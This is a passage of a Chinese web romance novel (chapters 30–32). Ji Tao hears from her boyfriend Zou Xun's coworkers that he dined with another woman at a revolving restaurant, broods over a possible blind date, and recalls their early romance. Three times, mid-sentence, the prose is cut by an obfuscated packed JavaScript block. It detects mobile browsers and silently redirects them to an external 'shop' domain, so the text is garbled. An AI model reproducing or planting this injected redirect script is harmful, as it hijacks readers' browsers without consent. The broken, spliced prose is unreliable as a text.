看他急得满头冒汗,盛情难却,季桃便答应了。小顾带她走进伏线科技的大楼,进电梯后,四楼又上来一个女同事,和小顾打了招呼,她只坐了一层,小顾没和她多说话,出电梯前,她好奇地瞅了瞅季桃。 小顾带季桃上到九层,人脸识别打开走廊的门。 季桃知道,七楼是服务器机房。邹巡说过:“什么时候我带你进去,比电影里的还好看。一般人进不去,只有几个人有密码,我是其中之一。” “别吹了,那么重要的地方,密码怎么会给了你?” “就是不给我,我也能黑进去。” 总之,七楼是全公司安保最严密的楼层,不相关的人只能“黑进去”。但季桃发现,九层接待室的规格似乎也甚高,至少,肯定不是接待她这种角色的地方。 到处静悄悄的,季桃有点紧张,不由放低了声音:“万一碰见你们领导,不得批评你?” “不会不会。”小顾笑着,“领导都出去开会了。” 进了一间差不多二十人会议室大小的接待室,小顾请季桃坐下,从小冰柜里取出饮料,又抱来一台笔记本,放在桌上打开,说:“我就在隔壁,门开着,季小姐有事喊我就行。” 季桃谢了他。这时她已经给邹巡发了消息,只想着尽快发完照片回去。她把照片导出来,发到方大姐的邮箱,打电话请她尽快看看。 方大姐当场看了照片,觉得没什么问题了,季桃放下心,正预备要走,邹巡打电话进来:“你拍什么照片,拍好没?” 季桃告诉他,埋怨说:“你不在我就回去了,何必麻烦小顾。” “不麻烦。”邹巡简单道。“你现在在哪儿。” “九楼接待室。” “你去窗户边看看,这个位置拍照怎么样?” 季桃向外一望。“咦,果然不错,就是太高了。” “你去三楼拍。”邹巡马上说,“我跟小顾说下。” “不拍了,我回去了。” 没等说完,邹巡已经挂了电话。 季桃不高兴。挂她的电话是一方面,不过邹巡去外面开会,肯定来不及慢慢讲话。——既然如此,为什么不让她回去?她不愿给人添麻烦,邹巡看着是为她考虑,实际却有点自作主张了。他最近总这般不由分说。 小顾一边说“没问题”一边从走廊走出去。没几分钟,他折回来,抱上笔记本,请季桃去三楼设备展示厅。 他用门卡刷开展示厅大门,打开窗户,这种玻璃幕墙的外开窗,开启角度很小,只能抓着照相机伸出手去拍。 “我来试试吧。”小顾说。 他随便拍了几张效果竟意外地好,季桃夸赞说:“你拍照太厉害了。” 一扭头,几个女同事站在门口,都探着身子向里瞧,其中一个叫:“顾总。”扬了扬手里的文件,“你帮我签个字吧。”可是谁也没看小顾,几双眼睛全盯着季桃。 小顾察觉不对,但也不明所以,道了歉要向外走,四个女生一涌而入,又把他涌了进来。 “摄影师呢,还没来?” “什么?”小顾摸不着头脑,“出去说。” “不是拍广告片吗?”四个女生仍在打量季桃。 小顾才明白,向季桃说:“季小姐,实在抱歉,抱歉,我没说清,她们误会了,请别见怪。这是公司营销部的四大……活宝,正好是赵钱孙李。小孙,小钱,小赵,小李。”他一一指出四人。 其中的小孙——季桃认出就是之前电梯里见过的——立即对小顾说:“当着美女,不敢称美女,但你干嘛管老钱叫小钱啊。” “孙姐,饶了我吧。”小顾无奈地说,随即郑重道,“这位是季小姐,建筑师。” “我叫季桃。领导派我来拍园区照片,打扰了。”季桃朝大家微笑。 老钱是四人当中最娇小的,对着她惊叹说:“我们听孙姐说顾总带着个大美女,要展示厅门禁卡,肯定是来拍广告,就说过来看看。你好漂亮啊,我们以为你是公司请来的模特。” 孙姐摆摆手:“我可没说拍广告,你们脑补的,不过大美女没说错吧。我还以为领导新招进来的,顾总以后有个小妹带了。” 同事间玩笑打趣,季桃自然毫不介意,小顾的脸却变了。“别乱说。”他语声严厉,“季小姐是邹总的女朋友。” 闻言,大家再一次惊奇地打量季桃,孙姐说:“原来是邹巡的女朋友,难怪呢,太般配了。哎,小顾,你跟老板建议一下,下回咱们公司再拍广告,不用请模特,就请邹巡两口子,太能代表我司形象了,是吧?” 小顾又要瞪眼,季桃赶忙告辞,没想到四个女生也都来挽留。 “小邹去哪儿了?”孙姐问。 “领导和他出去开会。” “哦,刘总参加那个会?是不是要小邹介绍产品?怎么你没去?” “宋平去了。” “他们一时半会回不来。马上到饭点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013791|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,和我们一起吃饭去吧。咱们食堂饭不错,我们都不点外卖。”孙姐亲热地挽住季桃,“待会儿给你讲讲邹巡的八卦。” “请稍等,季小姐,我问问邹总。”小顾说。 “不用问了,我不等他,我这就回去了。” “吃了饭再走。”几个女生揪住季桃,死活不放。 一阵纷乱后,季桃还是被她们拉着往园区食堂去,食堂在另一座楼里,园区各公司共用,这时虽然还早,已有不少人排队打餐。小顾赶上来,领她们多上一层,进了一间单独的房间。 “怎么跑到领导吃饭的地方来了?”小赵问。 “没事没事,领导今天都不在。”小顾招呼大家坐下。 “小顾带咱们来这儿是对的,楼下那么多人。”孙姐意味深长道,又向季桃说,“你别嫌我们烦啊,你平时出门,肯定也好多人看你吧。” 季桃忙否认。 “可以戴防晒面罩。”小赵说。 “没用。”孙姐说,向季桃身上比画,“戴个防晒面罩,再戴个帽子,人家肯定当作是大明星,更要追着拍照——身材在这儿摆着嘛。” 这话引得几个女生又都往季桃身上望。季桃今天穿阔腿牛仔裤,纯白T恤,外面套件薄薄的黑色修身针织衫,上半身的确是曲线明显。她被几人盯得脸红,好在服务员这时进来,送来了几份工作餐。 “季小姐,实在不好意思,太简陋了,招待不周,见谅见谅。”小顾赔笑说。 “这还简陋啊,比我在我们公司吃得好多了。”季桃说。 “你平时吃什么,身材怎么这么好?”老钱羡慕地问。 季桃谦虚道:“我平时都不敢吃,吃得挺少的。” “果然是越美越自律。身材真的太好了。”老钱啧啧赞叹。 “就是嘛,这谁能受得了。”孙姐扭过头问小顾,“眼红了吧,你老实说,你那么巴结小邹,是不是想让他帮你也找一个这么漂亮的女朋友?” 小顾被揶揄,实在招架不住:“你们慢慢吃,我到隔壁去。季小姐请慢用。”他抱歉地笑笑。 “就是嘛,我们女生讲八卦,你不能听。”孙姐得意道。 “八卦呢?”门刚关上,小赵立即问。 孙姐对季桃说:“邹巡可出名了,本来我们和研发部门的同事不熟,但是公司里每个人都认识邹巡,长得帅嘛,公司,不对,整个科技园的颜值担当。经常有人跑他工位看他,还有外公司的来食堂看,害得邹巡好像每回都很晚才过来吃饭。哎,我说这个你不介意吧,之前有人想追邹巡,给他送东西,让他下楼签收,他根本不理。 “对了,前一阵还出过事:咱公司一个员工把工卡借给外公司一个女的,让她混进来看邹巡,那人看不说,还偷拍,结果被发现了,那个借工卡的给辞退了。之后邹巡就跟领导申请,不知道是不是跑会议室办公还是去哪儿,反正现在不太经常看见他。” “啊,那我进来,也违反你们公司纪律了吧。”季桃很不安。她还明目张胆举着个相机呢。 孙姐不当一回事地说:“你跟小顾进来肯定没关系。你不用管,小顾人挺好,热心。大家都说小顾和公司大老板是亲戚。哎,你上回不是听见刘总管小顾叫‘二当家的’?”她问小李。 哎呀,怪不得上次搭车邹巡和小顾都不说老板坏话。邹巡就算再不爱八卦同事,这个事总该事先提醒一下,简直尴尬死了。 “小顾没答应,他说‘不敢不敢’。——估计不是小舅子,可能是个远房亲戚。”小李答。 几个人笑了一阵。 孙姐又对季桃说:“反正这些事,小顾绝对做得了主,没事。——哎,邹巡真的特别高冷,我听人说同事聚餐他都不去,说要陪女朋友,让他带家属一起他也不答应。现在我就理解了,还以为他真是那么高冷呢。哎,他在你跟前,肯定不高冷吧?” 季桃还在怪邹巡,又想他到底算不算高冷。他和同事吃过几次饭,问她要不要去,自己都拒绝了,莫非他因此推掉了聚餐,那又何必?季桃恍恍惚惚地笑着回答:“他确实不太爱说话。” “又帅又不爱说话,还浪漫,完美男友啊。对了,上回和我老公吃饭,我看见你们了。”老钱说。 “是吗。”季桃朝她笑笑,还是有点恍恍惚惚的。是挺久之前了吧,邹巡最近一直忙着加班,都一两周没和他在外面吃过饭了。 “就上周三,在旋转餐厅。”老钱说。 季桃一愕。 30. 渣男 “你和你老公去旋转餐厅了?原来是你有八卦啊。你见过邹巡女朋友,怎么没告诉我们?”其余三人七嘴八舌质问老钱。 “当时我没看见你,就看见邹巡了。”老钱半是对季桃说,半也是对其他人解释,“我和我老公周年纪念,就去那一回。” “好吃吗?”孙姐问。 “我觉得就那样吧。你觉得呢?”老钱问季桃。 季桃知道,整个C市只有一家旋转餐厅,在市中心一家酒店大厦的顶层,她没去过,不止上周三,她根本从来就没去过。但这个时候已经过了否认的最佳时机。季桃想起上周有两天邹巡回家很晚,一时想不起更多。反正,老钱不可能认错邹巡,如果说自己没去,老钱和在座的几个人都会极其尴尬。季桃含混答:“我不太爱吃西餐。” 老钱点头:“就是,我也是,吃着没啥意思,还贵。其实就为旋转餐厅那个氛围。” “真舍得花钱,就为个氛围。”孙姐撇撇嘴,指着老钱对季桃说,“她和她老公家都有钱,所以我们管她叫老钱。” “什么呀,有钱的在这儿呢。”老钱笑指季桃,“光吃饭其实罢了,我们也就吃一千,我们没敢点酒,一瓶酒七八千上万,他们桌上有一瓶。” “真的呀?我以为你就够有钱了,戴卡地亚、梵克雅宝什么的。”孙姐对老钱说,又朝季桃光溜溜的脖子瞅了瞅。 季桃勉强笑着摇了摇头,孙姐大概以为她害羞,又说:“我知道啦,上周他们那个项目发奖金嘛,邹巡肯定没少拿,研发岗奖金很厉害的。” 她们几人讨论起各种岗位的奖金差异,季桃竭力回想:上周哪天邹巡回家时身上带着酒味?好像没有。不对,那两天他到家特别晚,她都睡着了,自然不知道他有没有喝酒。上万的酒,即使公司不发奖金,对他来说也不在话下,因为他们有神明发的奖金。不过,那些钱她要转部分给邹巡,邹巡坚决不要,说就放在她卡上。但这是重点吗?重点难道不是他们有神明发的奖金?他们有神明发的奖金…… 季桃越来越觉得恍惚了。 忽然听见她们又在说邹巡的名字,她打起精神,认真去听。 孙姐问:“你怎么光看邹巡啊,还不赶紧发扬八卦精神,当时就追着看看小季。——我们一直特别好奇邹巡的女朋友到底什么样。”她对季桃说。 “当时没机会嘛。”老钱解释,“邹巡他们比我们去的晚一点儿,我们点完菜,我随便一瞄,看见邹巡正给小季拉椅子,太绅士了!然后小季坐下,我没看见她脸,光看见个半个背影。当时我就想:邹巡女朋友好会穿衣服,背影好有气质,肯定长得也特别漂亮。” “我是真想看一眼,但是餐厅不是圆形嘛,他们桌子和我们桌子差不多隔着六十度角吧。”老钱双手在空中比画,“等我们走的时候,刚好转到那个位置,要是从邹巡他们那边过,就得绕上超大一个圈,多奇怪啊,只好走另一边,就没看到。” “你不会中途去个卫生间啥的?” “别提了。”老钱一摆手,“我当时看见服务员给邹巡桌子上了一瓶酒,跟我老公说,我老公还不高兴,我哪敢再专门跑去看。要是我老公看见邹巡模样,再误会我看邹巡,太影响夫妻感情了不是?再说反正现在也见到了嘛。” 季桃既怕继续谈论这个话题——怕突然说到某件事,自己对不出来,冒充那个女生便穿了帮——同时,她又盼着老钱多说几句,她想知道那天更多的情形。 可惜,是才刚刚认识的、邹巡的同事老钱。假如是谭一伊就好办了,可以直截了当问:“你感觉那个女的长得如何?” “倒还行,但是绝对不如你。”谭一伊会这么回答。 在季桃想象中,那个女生确实不如自己漂亮。哪怕她好会穿衣服,哪怕她好有气质,还是不如自己。因为…… 关键就在这儿——假如你的男友总和比你漂亮的女生约会,他是个花心大渣男;假如你的男友偷偷摸摸和一个“不如”你的女生约会,他是个花心大渣男,并且是个打算对另一段感情认真的花心大渣男。因为“没有道理”才是真喜欢。 季桃无法想象邹巡是花心渣男。即使之前因为转账迟到瞎猜,她也只是猜邹巡不爱她了,而不是他转头爱了别个。 说不定是那女的追邹巡,是个家境富裕的女生,所以请邹巡吃贵饭? 那他也答应了呀。邹巡挺大男子主义的,未必会因为对方有钱就答应约会并生出好感。廖澍晴家境够好了,邹巡连她名字都没记住。但他和这个女生一起喝了酒,还绅士地照料对方,这岂止是有一点儿好感! “哇,你吃得真不少啊。”小赵惊呼。 季桃这才发现,自己已经把餐盘里的饭和菜都吃得干干净净,汤也喝光了。 “我今天有点饿了。而且你们这儿的饭好吃。”她笑一笑。 “那我就认命了。人家吃啥都不胖,全靠基因。”老钱哀叹。 从食堂出来,赵钱孙李四人送季桃到园区门口,顺道散散步。 远远地,一个苗条、笔挺的身影匆匆走进园区。 “那不是咱们的女富豪吗?”老钱说。 季桃细瞅一眼,发现是冯女士,前两天刚见过。 “她今天怎么没开车?”小李问。 “非得每次自己开车呀,肯定有人送她。”老钱说。 “那才是咱们这儿最有钱的女人,园区女首富。”孙姐对季桃解释,“我们在地库见过她的添越,她还有辆大G。” “她是哪家公司?”季桃模模糊糊想起窦意鸣似乎说过他妈妈转行搞科技了。 “不太清楚,我们偶尔见她过来转转。她好像好几家公司,有一个在这园区里。人生赢家啊,听说儿子都挺大了,看着多年轻,走路比我有弹性。”老钱羡慕地说。 女总裁也免不了要为儿子操心。季桃想。 不过,她肯定从来、从来不用猜测自己的男朋友在哪天晚上和哪个女生去了哪家浪漫的法式餐厅喝哪种葡萄酒。季桃羡慕地望着冯女士迈着有力的、充满弹性的步子,走进一座大楼里去了。 掏出手机叫车时,季桃看见一个邹巡的未接来电。 她没有立即拨回去。过一会儿,邹巡又打来:“我回来了,你在哪儿?吃饭了?” “和你们几个同事一起吃了,我回去了。” “我送你。” “不用,我已经坐上车了。”季桃说。 这天邹巡倒是没加班,下班后来接季桃,问她拍照怎么样。 “挺好的,反正杂志编辑很满意。”季桃回答。 “那就好。——晚上想吃什么?”邹巡认真地看着前方,没有转过脸看她。 想去旋转餐厅,季桃在心里说。“随便吧。” 邹巡没再说话,那就是回家的意思了。他轻轻拨动方向盘,在车流中流畅地行着。 季桃瞥了他一眼,从他的侧脸看不出任何情绪,于是她也看向前方。她发现邹巡开车挺快,小心,但是快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022967|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一辆又一辆地超过了马路上其它车。平时她没留意邹巡开这么快——也可能是因为今天她没和他说话。 放在一个正常的时候,她肯定要把在他公司的见闻连说带比划一遍,还附带上许多问题,比如问问展厅里那些设备都是做什么用的,问问营销部四大美女哪个业绩最好,老钱真的很有钱?问邹巡到底几点去食堂吃饭,拒收快递是怎么回事,又是哪个公司的冒名混进去偷拍他,怎么发现的?问小顾和老板的关系,甚至还问问他知不知道冯女士是女员工们集体崇拜的对象——太多太多可谈论的了,而今天,她几乎一个字都没说,她最想问的是上周三晚上,他和谁一起吃饭,这个问题横在嗓子眼,把其它所有话都堵住了。 直到吃完晚饭,两个人都没交换几句话。邹巡这一向话不多,今天开口次数并不比昨天更少。但季桃以为自己的沉默是很异样的,邹巡竟没有感到奇怪,主动问她? 太不正常了! 连带她自己也变得不正常。往日为了好玩,有时冷不丁会“诈”邹巡一句,譬如:“你今天在公司健身房看见她了,这么高兴?”或者,“最近她怎么没找你,换人玩了?”可是,当真“凿凿有据”时,她竟不敢问出口。 害怕看到邹巡的表情不是“一脸懵”。——会是什么?惊慌?从没见过邹巡惊慌,惊慌和他的模样不搭,不想看见。 不过,在搜肠刮肚回忆邹巡最近的言行时,倒确实想起,上周是有一天,邹巡说:“我今天晚上和人约了吃饭。”随即补充,“吃完还要回公司加班,回家晚,你先睡。” 当时没多想,也没追问。以为是哪个朋友找他,或者干脆就是同事,加班时几个人一起跑出去吃顿饭不很正常嘛。看来就是周三那天了,不然反正回家晚,邹巡何必把吃饭单拎出来提一句?——万一对穿,他好说:“我告诉你我约人吃饭了呀。” 他真会避重就轻,只说约人,怎么不说约的是男是女,在哪儿吃?他要心里没鬼才怪了呢。 可是,如果邹巡是偷偷摸摸的人,那前两年算什么?她和谁谈了两年? 饭后,邹巡收拾餐桌,手机就扔在沙发上,季桃伸手可及。她想拿起来看一看,犹犹豫豫的。 她不大看邹巡的手机——起初看过,但没什么有趣,以后就不看了,她不是那种对男朋友的一切行踪都要干涉、都要了如指掌的女生。 邹巡平时拿两个手机,一个是上班专用,上面全是工作群组,接打电话都在朝九晚五之间,一下班他就关机了,有时手机干脆放车上不拿回家。依季桃对邹巡的了解,他和人有“暧昧关系”并非全无可能,但他绝对不可能用工作电话和对方联系。 那就只有面前这只手机了,要不要看? 要是没女朋友,手机对邹巡就只是个接打电话和移动支付的工具。他的联系人不多,四五十个,家人朋友、同学导师等等,也有公司领导和两三个关系亲近的同事。他几乎从不用社交软件和人互动,他自己不发朋友圈,也不关心别人的,每新加一个好友,他首先去点个“不看他(她)”,季桃差不多是唯一的例外。 季桃知道,就是此刻查他手机,自己也还是“唯一例外”——邹巡要有风吹草动,绝不会在手机上留下蛛丝马迹,让她轻易抓到把柄。 她想,要不然看一下,如果能找到上周三他和某个女生的通话记录,说明他问心无愧,反之,就是有问题。 季桃的手刚抬起,邹巡过来了,差不多就在同时,他的手机响起来电。 31. 相亲 季桃瞥一眼,顾海东,小顾。她伸出的手顺势指了下:“你的电话。” 这通电话五六分钟,邹巡差不多一直在听,中间他说:“我去吧。”最后又说:“我定了时间发你。” 放下电话,他对季桃说:“我得出趟差,去公司总部。” 总部没几个员工,都是公司领导,显然,邹巡对公司越来越重要了。季桃点了点头。 邹巡看着她。 “你去吧。”季桃清清嗓子,“什么时候去?” “明天。”邹巡停停,“或者晚一两天也可以。” “还是明天吧。你要带什么东西?”季桃想站起来。 邹巡止住她:“我自己收拾。” “上周三晚上,你和谁去吃饭?”邹巡已经走出客厅了,季桃才轻轻地说了这么一句。 邹巡是第二天上午的飞机,一早就要去机场。他走的时候,季桃也起床了,两人在家门口告别。 邹巡背着双肩包,拖着只小箱子,嘴巴在季桃额上匆匆碰一下,只让她感觉到他嘴唇微微的凉。 只有一个人时,季桃的心绪反而平和了,决定把这件事再仔细想一想。 邹巡每天就是上班、回家,两点一线,连学校都不太去了,他能在哪儿新认识一个女生呢?再说跟邹巡在一起这么久,看也能看出来,他事业心重——如他上回和廖展飞说的,男人喜欢追求刺激,但对他来说,这个刺激首先体现在“赚钱”上;退一步讲,就算他真有沾花惹草的心肠,也没闲工夫,除非吃吃窝边草,找公司同事?不可能,他把工作和生活分很清楚的,何况有孙姐老钱她们在,早就扒出来了,哪能瞒得住。 那就只能是老同学? 可是季桃觉得不像。邹巡大学毕业已经五六年了,若彼此间一直有意,怎会等这么久;若一方有意一方无意,那不至于一起去旋转餐厅吧? 猛然间,季桃醒悟,邹巡恐怕是和人相亲? 相亲第一次就去吃贵饭?——也可能不是第一次,说不定长假期间两人就见过面了。 不管第几次,相亲相到吃法式大餐点天价葡萄酒?是不是女方要求的,想看看他的财力?而邹巡也就欣然答应,这是打算一举拿下啊。 六月份偷听到邹巡和父母的电话,还说“我肯定要和她结婚。”难道那个“她”另有其人?不然,才过去四个月,他会突然和别人相亲?——也说不定是他父母等不及了,并且看上了这家的女孩。 对方应该条件特别好,长相漂亮,高知家庭,高学历,体制内工作? 邹巡的嫂子隐隐就给季桃这样的印象——除去体制内,因为她去了美国。 邹巡父母对大儿媳很满意,自然希望找个同样优秀的二儿媳,听人介绍了某某家的女儿,自然要逼着邹巡去见面。 季桃笑了。那么大一个男人,能被谁逼,有人拿刀子在背后抵着他了?邹巡是自己迈开腿去见面的,他心中一点儿都不甘愿? 若相亲成功,下一步,该谈分手了吧。邹巡怎么不说呢,是没成功,还是他不好开口,他还在举棋不定中? 对,不管哪样,都符合他最近一段时常若有所思、动不动没情没绪的样子。 无论什么原因,走出这一步,说明他已经对他们两个的感情失去了信心。 . 邹巡租的这套房子是七十多平米的两室一厅,户型不错,除了洗手间嫌小点,其它房间都正合用:卧室挺大,厅中不溜,另一间是小屋子,放了书柜、书桌,本来打算当个书房,不过,两人平时喜欢一起呆在卧室或客厅,假使同时开电脑,就一人占卧室桌子,一人占餐桌,门敞着,有事互相喊话;正经的书房由于位置“偏僻”,没人去,成了储物间。 七十平,很舒服的大小,两个人既不会干扰对方,还能看见、听见彼此,就连一公一母两只老虎,也不可能找到比这更合适的“山头”。 可只有一个人时,就显出了空旷和冷清。 偏偏这天傍晚时分,季桃下班回到家后,外面开始下雨。秋日的雨,黄昏的雨,都容易令人心生凄楚。季桃一个人坐在桌前,只开了一盏灯,屋内寂静,能听见窗外的沙沙的雨声,更加重了凄楚之感。 邹巡发消息问她吃饭没有,她说吃了,又说,这边下雨了。 我这边是阴天。邹巡没再说什么。不必嘱咐关好门窗,又不是台风天,这个时节也不可能下大暴雨。雨天和阴天,普普通通的天气,可供两人像英国人那样平淡地谈一句。 十点半时,邹巡发来消息:早点睡觉。 季桃在床上躺下,听着落雨的声音。 她以前问过邹巡,一个人租房,怎么租了套这么大的。邹巡说,正好朋友介绍了这个,看了觉得不错,外加房租不很高,就租了。停了一会儿他又补充:“再说也不是一直一个人啊。那会儿都认识你了,我心里想这个地方你应该喜欢。” “你那时候就想把我骗来?”当时她高声叫道,当然,不是生气。 她第一次来邹巡这儿是个午后,也下着雨,那是她反复回忆的一天。 滚完床单,又一起去洗澡,两个人在莲蓬头下抱着,水像暖暖的雨洒下来,瞬间把头发和全身都打湿了。 她有些不敢看邹巡,抬头也不是,低头也不是。也不松手,头顶着邹巡下巴,不许他低头看。擦干的时候,她只管东躲西躲地笑,一点儿不配合,邹巡只好把她湿漉漉抱出来,放在床上。他一直搂着她,嘴唇时不时落在她的发心,雨点一样,又仿佛是确认她是不是真在那儿。她在,湿漉漉地蜷在他怀里。她不说话,他也不说话,絮絮的雨替他说了。 听着窗外的雨声,她感觉到喜欢和疲累。 她睡着了,睡梦中也感觉雨滴降在地面,亲吻落于发心。睁开眼时,雨停了,天却暗了下来——已经是夜晚了。 那晚上她住了下来,第二天也没走。 不知道是不是因为外面一直沙沙地落着雨,好像再听不到别的声音,他们仿佛与世隔绝,把出租屋睡出了城堡的感觉,在里面昏天黑地。邹巡是领主,卫士,仆从。 告诉邹巡,他笑了,在门锁上给她录指纹,还说:“现在城堡有女主人了。” 她听得脸红,赶紧说:“我突然想玩那种中世纪背景的游戏。” 邹巡自己不大玩游戏,但二话不说,下单了一台ps,两小时后送到家,安装好,她就开始玩了。 吃饭,睡觉,打游戏。待了两夜三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029786|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,翘了四堂课。只有邹巡能把她变成一个“坏学生”。 和邹巡在一起后,他出过两三次差,都是在她毕业前。只有第一次出差时间最长,那是他刚进伏线时去外地参加培训,走了大概有大半个月。那次他很忙,有几天都顾不上和她联系。有一晚,邹巡给她拨语音电话,她得知他住单间,她自己也是一个人在宿舍,便问:“我们不能视频吗?” “可以啊。”邹巡说,“你先等等,我脱了衣服,咱们裸|聊。让你看看我想你想到什么程度。” “去你的。”她挂断了。 片刻后,邹巡又拨过来,还是语音,他说:“我特别想你,要是再看见你,我就忍不住要回去了。” 她心满意足,躺下,和他小声说话。只有声音,更好。舍友都放假回家了,就她一个人,也拉上了床帘,围拢出一个小小的世界,他的声音是这个世界的空气。 不知道怎么有那么多话可讲,讲了两个多小时。握住的手机好像故事里的魔瓶,扁扁的,重重的,一不小心,邹巡会从里面钻出来,再不然,她会被吸进去。 告诉邹巡,他笑着说:“那我把你关住,你跑不了了。” 不用你关,是我想待在这儿。她在心里说。 现在,他连语音电话都不会打了。只有干巴巴的几个字:“早点睡觉。” 季桃想,在她没搬过来的日子,邹巡曾经这样躺着,想过她吗? 心中一阵尖锐的痛楚,她想打开一盘游戏玩,不用动脑子的,祖玛那种游戏。可是她知道自己或许玩了就真的停不下来,明天还得上班。而且,仔细想想,也没什么意思。 十一点,他又发来一条:别玩游戏到太晚。 谁说我玩游戏,不和你说话就是在玩游戏?我是没什么好和你说的。 回一个他最爱用的字:好。 季桃蒙上被子。 显然,邹巡很忙,但他是谁啊,时间管理大师,一个冷静公平的CPU,再忙,他也不会焦头烂额顾此失彼,再忙,他也能抽出时间和她说几句话——只要他想。 不过,他是个高冷的人,本来就不爱说话。跟她在一起,他话已经很多了,他大概把所有想对她说的都说完了。 本来,只有一片阴影升起在那个周三上方,但是现在,它越扩越大,以至于季桃对旋转餐厅那个女生都不再东猜西想了。那个人可能无关紧要,可能真就是普普通通一顿饭,可能邹巡都把对方忘了。现在,根本不是哪个人哪顿饭的事。 可是,第二天早上醒来,又看到了奖金短信。季桃握着手机,不出声地笑了。原来是自己多虑,这不一切正常嘛。 岁月静好,每天领钱。 到底是怎么回事! 季桃笑得向后倒在床上。这个问题该邹巡问,而不是自己。 她不是一开始就知道吗?——那个时候,她正准备和邹巡分手…… 她早就知道,神明搞的这个奖项,根本禁不住细细考量。 还是得相信直觉。那次入账延迟,她第一时间想的什么,就是什么:邹巡不爱她了。而后来收到短信,她不该找各种理由,把自己劝得心服口服,而应该大喊一声:神明错了! 神明错了。 32. 开始 星期天早晨,天终于放晴了。季桃还没把窗帘拉开,一道光从窗帘缝中透进来,像一把宽剑,将房间一劈两半。 季桃想起去年夏天的一日,她和邹巡两个在校园里逛荡,头顶是夏日里最最常见也是最最美丽的景致:蓝天,白云,绿树。云是大块大块的,团得特别结实,厚得仿佛可以撕着吃,起初她没有留意它们,走着走着发现四周暗下来,同时也变静了,才抬头看,原来是云团挡住了太阳。 那一会儿,太阳一直在云块中藏来躲去,周围的景色跟着忽明忽暗,好像有个调皮的孩子在操纵电灯开关,啪,一亮,啪,一暗。在这样的阳光和云朵之下,好像又回到了童年的假期,好像自己就是那个调皮孩子,忽地,她转头问邹巡:“太阳的光传到地球多久来着?” “八分多,大约八分十九秒。” “我们看到的其实是八分钟以前的太阳对吧?” “是啊。” “那你看那块云,它一过来,天立即就暗了。不对呀,天不该变暗吧,除非八分钟前正好也有云。” 邹巡笑得很大声:“你站在这儿。你看那个方向——”他伸直手臂向远处一指,“两千米之外有个点,我站在那儿,假设没有那些楼房,这两点之间可以划出一道直线。我站在那里不动,但是变出无数个分身,沿直线接连不断地向你跑来,这一路需要八分钟,八分后,你看见我来到你身边,并且一直看见我向你跑来,对吧?这时候,如果在起点,就是我站的那个地方,突然落下一堵墙挡住我,你暂时不会知道,要等八分钟才发现:‘咦,邹巡哪去了,怎么不来了?’但如果在接近目的的地方落下一堵墙,把正在路上的那些我全部堵住,你是不是一下子就发现了?” 他还没说完,她的脸就红得像映着大太阳一般。邹巡肯定要被她笑死了,堂堂大学生,怎么问了个幼儿园问题。还解释这么细,真当她小朋友啊。 “乱打什么比方。”她懊恼地怪他,“说得好像你是我的太阳。” “对,我乱打比方。要是我的话,就没有东西能挡住我到达目标,就是落下墙我也一脚把它踢倒。——你知道我跑过来干嘛,我要抱住你。” 她想象那幅情景:邹巡一帧一帧向她奔来,后到的重合在第一个身上。 她大笑了一阵:“那么多个你,哪里是要抱我?你是想把我扑死。” 邹巡转身抱她:“你只能感觉到一个我。”他紧紧收住胳膊,“但时间流逝,其实是无数个新的我。每一个新的我,都想要抱你。” 其实,她真的挺喜欢那个比喻,常常在脑中构想过邹巡所描述的、向她奔跑的场景。她自己的位置总是不断变化——看她当时身处哪儿;而邹巡出发的地点则始终不变,是在八号宿舍楼前面那棵树下。 他跑得很快,身影连成一道线,朝她辐射。假如真用点和线画出来,会画出无数条线,是宇宙中一颗小太阳。 第一根线,是什么时候画好的? 那要看怎么算。认识邹巡是两年前的七月初,不过,真正和邹巡“在一起”,还要晚一些…… 两年前七月初的那个下午,八号宿舍楼下,季桃第一次看见邹巡。那天,他们游了泳,吃了饭。晚上,邹巡把季桃送回宿舍楼,就站在季桃第一眼看见他的那棵树下,和她说再见。 除了饭后付钱,邹巡没把手机拿出来过,两人没留联系方式,也没定日后的约会,但季桃心里感觉事情不会戛然而止。 果然,当她握着手机,刚把头放在枕头上,邹巡发来好友请求。 他的头像是一辆黑色跑车,季桃当时还不认得布加迪,只觉得车特别漂亮,用来作他的头像很搭,这是她唯一一次看见拿豪车当头像而不显“虚荣肤浅”的男性。还有,他的名字叫“三角翼”,这或许是根据巡字字形而来,却让她想起那个“不可能三角”,笑了一阵。 邹巡好像没太多钱——从他脚上那双购买时绝对不超过五百块的半新运动鞋以及他自称共享单车是主要交通工具可以看出来——这就对了,他是一个普通、真实的男人。季桃心想:她和邹巡是不是有一点“可能”呢? 